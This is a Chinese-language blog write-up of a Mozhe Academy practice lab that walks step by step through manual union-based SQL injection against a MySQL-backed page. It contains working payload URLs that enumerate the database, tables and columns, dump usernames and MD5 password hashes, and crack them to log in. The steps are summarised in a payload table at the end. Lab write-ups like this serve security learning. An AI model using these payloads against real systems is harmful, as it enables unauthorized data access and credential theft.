墨者学院01 SQL手工注入漏洞测试(MySQL数据库)

问题描述

SQL手工注入虽然是一个已经被安全博主讲烂的主题,但是我之前很少有从头到尾实践手工注入的经历,所以觉得还是有必要为自己记录与整理的~

题目链接:SQL手工注入漏洞测试(MySQL数据库)

ctrl+u查看源码,源码似乎没有额外的解题提示~ 不过在第21行指向了一个可用的链接~

墨者学院01 SQL手工注入漏洞测试(MySQL数据库)_第1张图片

 打开链接,是一个通知~

墨者学院01 SQL手工注入漏洞测试(MySQL数据库)_第2张图片

 这些就是已知的条件啦~


解决方案:

参考1:谈一谈|SQL注入之显错注入 - 腾讯云开发者社区-腾讯云 (tencent.com)

参考2:评论区banyejiu不眠ovo二位大佬的wp

工具:无

1 判断注入点

地址栏测试语句如下~

http://124.70.22.208:44466?id=1 and 1=1

http://124.70.22.208:44466?id=1 and 1=2

传送以后,发现页面没有任何奇怪的反应,那敏感字符很有可能已经被WAF过滤掉了[id在执行后前面有一个斜杠"/"],注入点可能不在这里~我们再试试另一个停机维护的网页~

http://124.70.22.208:44466/new_list.php?id=1 and 1=1

http://124.70.22.208:44466/new_list.php?id=1 and 1=2

  网页置空,这个就是明显的注入点啦~

 ②账号密码测试语句如下~

'or 1=1 --

账号密码传送以后,没有传回与数据库交互的信息~本小白还不晓得怎么下手...

所以综上,维护通知的网页很可能存在注入点~

2 判断字段数

其次,判断当前数据库的字段数(列数)~

http://124.70.22.208:44466/new_list.php?id=1 order by 1

网页正常,说明order by 1是正确指令(此处id=1可更换为id=1 and 1=2,执行结果略有不同,但都能得出相同结论),我们换成2、3、4逐渐尝试,发现输出是类似的~

墨者学院01 SQL手工注入漏洞测试(MySQL数据库)_第3张图片

直到输入order by 5时,页面置空,说明语句执行失败,当前数据库的字段仅有4列~

3 判断回显字段

http://124.70.22.208:44466/new_list.php?id=1 and 1=2 union select 1,2,3,4

通常数字1,2,3,4哪个数字会在页面有回显,就说明哪个字段注入就是最方便的~(注意此处报错语句例如and 1=2或id=-1是必需的,否则页面无法回显输出结果~)

 根据执行结果,2和3是较为明显的注入字段~

4 查询数据库名称

在字段2或3处输入 查询数据库名称的命令:database()~

http://124.70.22.208:44466/new_list.php?id=1 and 1=2 union select 1,2,database(),4

http://124.70.22.208:44466/new_list.php?id=1 and 1=2 union select 1,database(),3,4

 执行结果,该数据库的名称为:mozhe_Discuz_StormGroup

5 查询数据库表名

在字段2或3处输入 查询数据库表名 的命令~

union select group_concat(table_name) from information_schema.tables where table_schema= '库名'

在数据库(本题为mozhe_Discuz_StormGroup)中查询所有数字库表信息information_schema.tables数据表保存了MySQL服务器所有数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等,详见information_schema表),并输出其中的数据表名table_name~

http://124.70.22.208:44466/new_list.php?id=1 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema ='mozhe_Discuz_StormGroup'

输入结果如下图所示,表名有两个:(1)StormGroup_member (2)notice

6 查询字段名称

在字段2或3处输入 查询字段名 的命令~

union select group_concat(column_name) from information_schema.columns where table_name='表名'

{在所有数字库表信息information_schema.columns中查询表名,并输出其中的字段名column_name~}

http://124.70.22.208:48455/new_list.php?id=1 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'

输入结果如下图所示,字段名有四个:(1)id (2)name (3)password (4)status

7 查询字段内容

在字段2和3处输入 查询字段内容 的命令~

union select group_concat(字段名) from 表名

http://124.70.22.208:48455/new_list.php?id=1 and 1=2 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

http://124.70.22.208:48455/new_list.php?id=1 and 1=2 union select 1,2,group_concat(name,'~',password),4 from StormGroup_member

第一句输出结果如下图所示,计划会输出两行语句,但是网页就只能显示两条数据~(第一个用户的name与password)

第二句输出结果如下图所示,采用group_concat联合输出了name与password,就可以看到所有的内容~

字符串1:356f589a7df439f6f744ff19bb8092c0

字符串2:840592d57235880bd2a51201a88a1256

8 md5解密

免费无注册解密网站:Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

字符串1解密结果:dsan13

字符串2解密结果:745581

返回最初的登录页面,输入用户名:mozhe、密码:745581,登录结果如下图~

墨者学院01 SQL手工注入漏洞测试(MySQL数据库)_第4张图片

KEY:mozhe8c360e9aac5831ef321b5ba27ad

总结:

(1)整个显错注入流程使用到以下语句~

语句 功能

and 1=1

and 1=2

判断注入点
order by 5 判断字段数
and 1=2 union select 1,2,3,4 判断回显字段
and 1=2 union select 1,database(),3,4 查询数据库名称
and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema ='库名' 查询数据库表名
and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='表名' 查询字段名称
and 1=2 union select 1,2,group_concat(字段名1,'~',字段名2),4 from 表名 查询字段内容

(2)若对于SQL注入类题目有兴趣,也可移步这篇杂烩博文~CTF 总结03:SQL注入

码字不易,若有所帮助,可以点赞支持一下博主嘛?感谢~(●'◡'●)

你可能感兴趣的:(#,墨者学院,php,web安全,数据库)